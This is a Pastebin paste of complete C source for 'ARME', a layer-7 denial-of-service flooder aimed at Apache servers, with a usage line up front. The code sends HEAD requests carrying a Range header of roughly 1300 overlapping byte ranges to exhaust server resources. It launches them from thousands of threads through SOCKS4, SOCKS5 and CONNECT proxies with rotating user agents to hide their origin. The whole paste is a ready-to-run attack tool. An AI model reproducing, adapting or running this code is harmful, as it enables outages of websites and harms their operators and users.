Advertisement
TP2K1

ARME (For Apache Servers) Layer 7

May 30th, 2015
978
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.99 KB | None | 0 0
  1. How to use http://victim 5000 proxies.txt 3600 0
  2. /*
  3. * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  4. */
  5. #include <unistd.h>
  6. #include <time.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/resource.h>
  10. #include <sys/ioctl.h>
  11. #include <string.h>
  12. #include <stdlib.h>
  13. #include <stdio.h>
  14. #include <signal.h>
  15. #include <pthread.h>
  16. #include <netinet/udp.h>
  17. #include <netinet/tcp.h>
  18. #include <netinet/ip.h>
  19. #include <netinet/in.h>
  20. #include <netinet/if_ether.h>
  21. #include <netdb.h>
  22. #include <net/if.h>
  23. #include <ctype.h>
  24. #include <arpa/inet.h>
  25.  
  26. #define RND_CHAR (char)((rand() % 26)+97)
  27.  
  28. char *useragents[] = {
  29. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  30. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  31. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  32. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  33. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  34. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  35. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  36. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  37. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  38. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  39. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  40. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  41. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  42. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  43. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  44. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  45. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  46. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  47. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  48. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  49. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  50. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  51. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  52. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  53. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  54. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  55. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  56. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  57. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  58. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  59. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  60. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  61. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  62. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  63. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  64. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  65. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  66. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  67. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  68. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  69. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  70. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  71. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  72. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  73. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  74. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  75. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  76. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  77. };
  78. #define ATTACKPORT 80
  79. char *postformat = "HEAD / HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nRange:bytes=%s\r\nAccept-Encoding: gzip, deflate, compress\r\nConnection: close\r\n\r\n";
  80. char *postpayload;
  81. struct urlparts {
  82. char * name;
  83. char separator[4];
  84. char value[128];
  85. } parts[] = {
  86. { "scheme", ":" },
  87. { "userid", "@" },
  88. { "password", ":" },
  89. { "host", "//" },
  90. { "port", ":" },
  91. { "path", "/" },
  92. { "param", ";" },
  93. /*{ "query", "?" },*/
  94. { "fragment", "#" }
  95. };
  96. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  97. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  98. struct urlparts *returnparts[8];
  99. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  100. struct proxy { char *type; char *ip; int port; int working; };
  101. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  102. struct list *head = NULL;
  103. char parseError[128];
  104. int parseURL(char *url, struct urlparts **returnpart);
  105. char * strsplit(char * s, char * tok);
  106. char firstpunc(char *s);
  107. int strleft(char * s, int n);
  108. void setupparts();
  109. void freeparts();
  110. char *stristr(const char *String, const char *Pattern);
  111. char *str_replace(char *orig, char *rep, char *with);
  112. char *geturl(char *url, char *useragent, char *ip);
  113. char *ipstr;
  114. static int rps = 0;
  115.  
  116. char *fznGenerateRange()
  117. {
  118. char *szBytes = malloc(12000);
  119. memset(szBytes, 0, 12000);
  120. strcpy(szBytes, "0-");
  121. char szAdd[12];
  122. int i;
  123. for (i = 0; i <= 1299; i++)
  124. {
  125. sprintf(szAdd, ",5-%d", i);
  126. strcat(szBytes, szAdd);
  127. bzero(szAdd, 12);
  128. }
  129.  
  130. return szBytes;
  131. }
  132.  
  133. void *flood(void *par) {
  134. struct list *startpoint = (struct list *)par;
  135. int i;
  136. struct sockaddr_in serverAddr;
  137. signal(SIGPIPE, SIG_IGN);
  138. while(1)
  139. {
  140. int sent = 0;
  141. if(startpoint->data->working == 0)
  142. {
  143. startpoint = startpoint->next;
  144. usleep(10000);
  145. continue;
  146. }
  147.  
  148. memset(&serverAddr, 0, sizeof(serverAddr));
  149. serverAddr.sin_family = AF_INET;
  150. serverAddr.sin_port = htons(startpoint->data->port);
  151. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  152. int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  153. u_int yes=1;
  154. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  155. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  156. {
  157. startpoint->data->working = 0;
  158. startpoint = startpoint->next;
  159. continue;
  160. }
  161. if(strcmp(startpoint->data->type, "Socks4")==0)
  162. {
  163. unsigned char buf[10];
  164. buf[0] = 0x04;
  165. buf[1] = 0x01;
  166. *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  167. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  168. buf[8] = 0x00;
  169. if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  170. {
  171. startpoint->data->working = 0;
  172. startpoint = startpoint->next;
  173. close(serverSocket);
  174. continue;
  175. }
  176. }
  177. if(strcmp(startpoint->data->type, "Socks5")==0)
  178. {
  179. unsigned char buf[20];
  180. buf[0] = 0x05;
  181. buf[1] = 0x01;
  182. buf[2] = 0x00;
  183. if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  184. {
  185. startpoint->data->working = 0;
  186. startpoint = startpoint->next;
  187. close(serverSocket);
  188. continue;
  189. }
  190. buf[0] = 0x05;
  191. buf[1] = 0x01;
  192. buf[2] = 0x00;
  193. buf[3] = 0x01;
  194. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  195. *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  196. if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  197. {
  198. startpoint->data->working = 0;
  199. startpoint = startpoint->next;
  200. close(serverSocket);
  201. continue;
  202. }
  203. }
  204. if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  205. {
  206. char *connectrequest = malloc(1024);
  207. bzero(connectrequest, 1024);
  208. sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
  209. if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  210. {
  211. startpoint->data->working = 0;
  212. startpoint = startpoint->next;
  213. close(serverSocket);
  214. continue;
  215. }
  216. char *recvbuf = malloc(1024);
  217. bzero(recvbuf, 1024);
  218. int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  219. if(gotbytes < 1)
  220. {
  221. startpoint->data->working = 0;
  222. startpoint = startpoint->next;
  223. close(serverSocket);
  224. continue;
  225. }
  226. free(recvbuf);
  227. }
  228. send(serverSocket, postpayload, strlen(postpayload), MSG_NOSIGNAL);
  229. close(serverSocket);
  230. rps++;
  231. usleep(50000);
  232. startpoint = startpoint->next;
  233. }
  234. }
  235.  
  236. int main(int argc, char *argv[ ]) {
  237. if(argc < 4){
  238. fprintf(stderr, "Invalid parameters!\n");
  239. fprintf(stdout, "Usage: %s <target url> <number threads to use> <proxy list> <time> [manual ip]\n", argv[0]);
  240. exit(-1);
  241. }
  242. int num_threads = atoi(argv[2]);
  243. FILE *pFile = fopen(argv[3], "rb");
  244. if(pFile==NULL)
  245. {
  246. perror("fopen"); exit(1);
  247. }
  248. fseek(pFile, 0, SEEK_END);
  249. long lSize = ftell(pFile);
  250. rewind(pFile);
  251. char *buffer = (char *)malloc(lSize*sizeof(char));
  252. fread(buffer, 1, lSize, pFile);
  253. fclose (pFile);
  254. int i=0;
  255. char *pch = (char *)strtok(buffer, ":");
  256. while(pch != NULL)
  257. {
  258. if(head == NULL)
  259. {
  260. head = (struct list *)malloc(sizeof(struct list));
  261. bzero(head, sizeof(struct list));
  262. head->data = (struct proxy *)malloc(sizeof(struct proxy));
  263. bzero(head->data, sizeof(struct proxy));
  264. head->data->working = 1;
  265. head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  266. pch = (char *)strtok(NULL, ":");
  267. if(pch == NULL) exit(-1);
  268. head->data->port = atoi(pch);
  269. pch = (char *)strtok(NULL, ":");
  270. head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  271. pch = (char *)strtok(NULL, ":");
  272. head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  273. head->next = head;
  274. head->prev = head;
  275. } else {
  276. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  277. bzero(new_node, sizeof(struct list));
  278. new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  279. bzero(new_node->data, sizeof(struct proxy));
  280. new_node->data->working = 1;
  281. new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  282. pch = (char *)strtok(NULL, ":");
  283. if(pch == NULL) break;
  284. new_node->data->port = atoi(pch);
  285. pch = (char *)strtok(NULL, ":");
  286. new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  287. pch = (char *)strtok(NULL, ":");
  288. new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  289. new_node->prev = head;
  290. new_node->next = head->next;
  291. head->next = new_node;
  292. }
  293. }
  294. free(buffer);
  295. const rlim_t kOpenFD = 1024 + (num_threads * 2);
  296. struct rlimit rl;
  297. int result;
  298. rl.rlim_cur = kOpenFD;
  299. rl.rlim_max = kOpenFD;
  300. result = setrlimit(RLIMIT_NOFILE, &rl);
  301. if (result != 0)
  302. {
  303. perror("setrlimit");
  304. fprintf(stderr, "setrlimit returned result = %d\n", result);
  305. }
  306. bzero(&rl, sizeof(struct rlimit));
  307. rl.rlim_cur = 256 * 1024;
  308. rl.rlim_max = 4096 * 1024;
  309. result = setrlimit(RLIMIT_STACK, &rl);
  310. if (result != 0)
  311. {
  312. perror("setrlimit_stack");
  313. fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
  314. }
  315. setupparts();
  316. parseURL(argv[1], returnparts);
  317. if(argc > 4)
  318. {
  319. ipstr = malloc(strlen(argv[5])+1);
  320. bzero(ipstr, strlen(argv[5])+1);
  321. strcpy(ipstr, argv[5]);
  322. } else {
  323. struct hostent *he;
  324. struct in_addr a;
  325. he = gethostbyname(returnparts[host]->value);
  326. if (he)
  327. {
  328. while (*he->h_addr_list)
  329. {
  330. bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  331. ipstr = malloc(INET_ADDRSTRLEN+1);
  332. inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  333. break;
  334. }
  335. }
  336. else
  337. { herror("gethostbyname"); }
  338. }
  339.  
  340.  
  341. char *postdata = malloc(1);
  342. bzero(postdata, 1);
  343. char *extrahead = malloc(1);
  344. bzero(extrahead, 1);
  345.  
  346. pthread_t thread[num_threads];
  347. postpayload = malloc(12001);
  348. sprintf(postpayload, postformat, returnparts[host]->value, useragents[rand() % (sizeof(useragents)/sizeof(char *))], fznGenerateRange());
  349. freeparts();
  350.  
  351. for(i = 0;i<num_threads;i++){
  352. pthread_create(&thread[i], NULL, &flood, (void *)head);
  353. pthread_detach(thread[i]);
  354. head = head->next;
  355. }
  356.  
  357. int temp = atoi(argv[4]);
  358.  
  359. for(i = 0;i<temp;i++)
  360. {
  361. //rps=0;
  362. sleep(1);
  363. //printf("R/s: %d\n", rps);
  364. }
  365. return 0;
  366. }
  367. void freeparts()
  368. {
  369. return;
  370. if(returnparts[0]!=NULL) { free(returnparts[0]); }
  371. if(returnparts[1]!=NULL) { free(returnparts[1]); }
  372. if(returnparts[2]!=NULL) { free(returnparts[2]); }
  373. if(returnparts[3]!=NULL) { free(returnparts[3]); }
  374. if(returnparts[4]!=NULL) { free(returnparts[4]); }
  375. if(returnparts[5]!=NULL) { free(returnparts[5]); }
  376. if(returnparts[6]!=NULL) { free(returnparts[6]); }
  377. if(returnparts[7]!=NULL) { free(returnparts[7]); }
  378. return;
  379. }
  380. void setupparts()
  381. {
  382. returnparts[0] = malloc(sizeof(struct urlparts));
  383. returnparts[1] = malloc(sizeof(struct urlparts));
  384. returnparts[2] = malloc(sizeof(struct urlparts));
  385. returnparts[3] = malloc(sizeof(struct urlparts));
  386. returnparts[4] = malloc(sizeof(struct urlparts));
  387. returnparts[5] = malloc(sizeof(struct urlparts));
  388. returnparts[6] = malloc(sizeof(struct urlparts));
  389. returnparts[7] = malloc(sizeof(struct urlparts));
  390. bzero(returnparts[0], sizeof(struct urlparts));
  391. bzero(returnparts[1], sizeof(struct urlparts));
  392. bzero(returnparts[2], sizeof(struct urlparts));
  393. bzero(returnparts[3], sizeof(struct urlparts));
  394. bzero(returnparts[4], sizeof(struct urlparts));
  395. bzero(returnparts[5], sizeof(struct urlparts));
  396. bzero(returnparts[6], sizeof(struct urlparts));
  397. bzero(returnparts[7], sizeof(struct urlparts));
  398. returnparts[0]->name = "scheme";
  399. strcpy(returnparts[0]->separator, ":");
  400. returnparts[1]->name = "userid";
  401. strcpy(returnparts[1]->separator, "@");
  402. returnparts[2]->name = "password";
  403. strcpy(returnparts[2]->separator, ":");
  404. returnparts[3]->name = "host";
  405. strcpy(returnparts[3]->separator, "//");
  406. returnparts[4]->name = "port";
  407. strcpy(returnparts[4]->separator, ":");
  408. returnparts[5]->name = "path";
  409. strcpy(returnparts[5]->separator, "/");
  410. returnparts[6]->name = "param";
  411. strcpy(returnparts[6]->separator, ";");
  412. /*returnparts[7]->name = "query";
  413. strcpy(returnparts[7]->separator, "?");*/
  414. returnparts[7]->name = "fragment";
  415. strcpy(returnparts[7]->separator, "#");
  416. return;
  417. }
  418. int parseURL(char *url, struct urlparts **returnpart) {
  419. register i;
  420. int seplen;
  421. char * remainder;
  422. char * regall = ":/;#";
  423. char * regpath = ":;#";
  424. char * regx;
  425. if(!*url)
  426. {
  427. strcpy(parseError, "nothing to do!\n");
  428. return 0;
  429. }
  430. if((remainder = malloc(strlen(url) + 1)) == NULL)
  431. {
  432. printf("cannot allocate memory\n");
  433. exit(-1);
  434. }
  435. strcpy(remainder, url);
  436. if(firstpunc(remainder) == ':')
  437. {
  438. strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  439. strleft(remainder, 1);
  440. }
  441. if (!strcmp(returnpart[scheme]->value, "mailto"))
  442. *(returnpart[host]->separator) = 0;
  443. for(i = 0; i < NUMPARTS; i++)
  444. {
  445. if(!*remainder)
  446. break;
  447. if(i == scheme || i == userid || i == password)
  448. continue;
  449. if(i == host && strchr(remainder, '@'))
  450. {
  451. if(!strncmp(remainder, "//", 2))
  452. strleft(remainder, 2);
  453. strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  454. strleft(remainder, 1);
  455. if(strchr(remainder, '@'))
  456. {
  457. strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  458. strleft(remainder, 1);
  459. }
  460. *(returnpart[host]->separator) = 0;
  461. }
  462. if(i == path && (! *(returnpart[scheme]->value)))
  463. {
  464. *(returnpart[path]->separator) = 0;
  465. strcpy(returnpart[scheme]->value, "http");
  466. }
  467. regx = (i == path) ? regpath : regall ;
  468. seplen = strlen(returnpart[i]->separator);
  469. if(strncmp(remainder, returnpart[i]->separator, seplen))
  470. continue;
  471. else
  472. strleft(remainder, seplen);
  473. strcpy(returnpart[i]->value, strsplit(remainder, regx));
  474. }
  475. if(*remainder)
  476. sprintf(parseError, "I don't understand '%s'", remainder);
  477. free(remainder);
  478. return 0;
  479. }
  480. char *str_replace(char *orig, char *rep, char *with) {
  481. char *result;
  482. char *ins;
  483. char *tmp;
  484. int len_rep;
  485. int len_with;
  486. int len_front;
  487. int count;
  488. if (!orig)
  489. return NULL;
  490. if (!rep || !(len_rep = strlen(rep)))
  491. return NULL;
  492. if (!(ins = strstr(orig, rep)))
  493. return NULL;
  494. if (!with)
  495. with = "";
  496. len_with = strlen(with);
  497. for (count = 0; tmp = strstr(ins, rep); ++count) {
  498. ins = tmp + len_rep;
  499. }
  500. tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  501. if (!result)
  502. return NULL;
  503. while (count--) {
  504. ins = strstr(orig, rep);
  505. len_front = ins - orig;
  506. tmp = strncpy(tmp, orig, len_front) + len_front;
  507. tmp = strcpy(tmp, with) + len_with;
  508. orig += len_front + len_rep;
  509. }
  510. strcpy(tmp, orig);
  511. return result;
  512. }
  513. char *stristr(const char *String, const char *Pattern)
  514. {
  515. char *pptr, *sptr, *start;
  516. uint slen, plen;
  517. for (start = (char *)String,
  518. pptr = (char *)Pattern,
  519. slen = strlen(String),
  520. plen = strlen(Pattern);
  521. slen >= plen;
  522. start++, slen--)
  523. {
  524.  
  525. while (toupper(*start) != toupper(*Pattern))
  526. {
  527. start++;
  528. slen--;
  529.  
  530. if (slen < plen)
  531. return(NULL);
  532. }
  533. sptr = start;
  534. pptr = (char *)Pattern;
  535. while (toupper(*sptr) == toupper(*pptr))
  536. {
  537. sptr++;
  538. pptr++;
  539.  
  540. if ('\0' == *pptr)
  541. return (start);
  542. }
  543. }
  544. return(NULL);
  545. }
  546. char * strsplit(char * s, char * tok) {
  547. #define OUTLEN (255)
  548. register i, j;
  549. static char out[OUTLEN + 1];
  550. for(i = 0; s[i] && i < OUTLEN; i++)
  551. {
  552. if(strchr(tok, s[i]))
  553. break;
  554. else
  555. out[i] = s[i];
  556. }
  557. out[i] = 0;
  558. if(i && s[i])
  559. {
  560. for(j = 0; s[i]; i++, j++) s[j] = s[i];
  561. s[j] = 0;
  562. }
  563. else if (!s[i])
  564. *s = 0;
  565. return out;
  566. }
  567. char firstpunc(char * s) {
  568. while(*s++)
  569. if(!isalnum(*s)) return *s;
  570. return 0;
  571. }
  572. int strleft(char * s, int n) {
  573. int l;
  574. l = strlen(s);
  575. if(l < n)
  576. return -1;
  577. else if (l == n)
  578. *s = 0;
  579. memmove(s, s + n, l - n + 1);
  580. return n;
  581. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement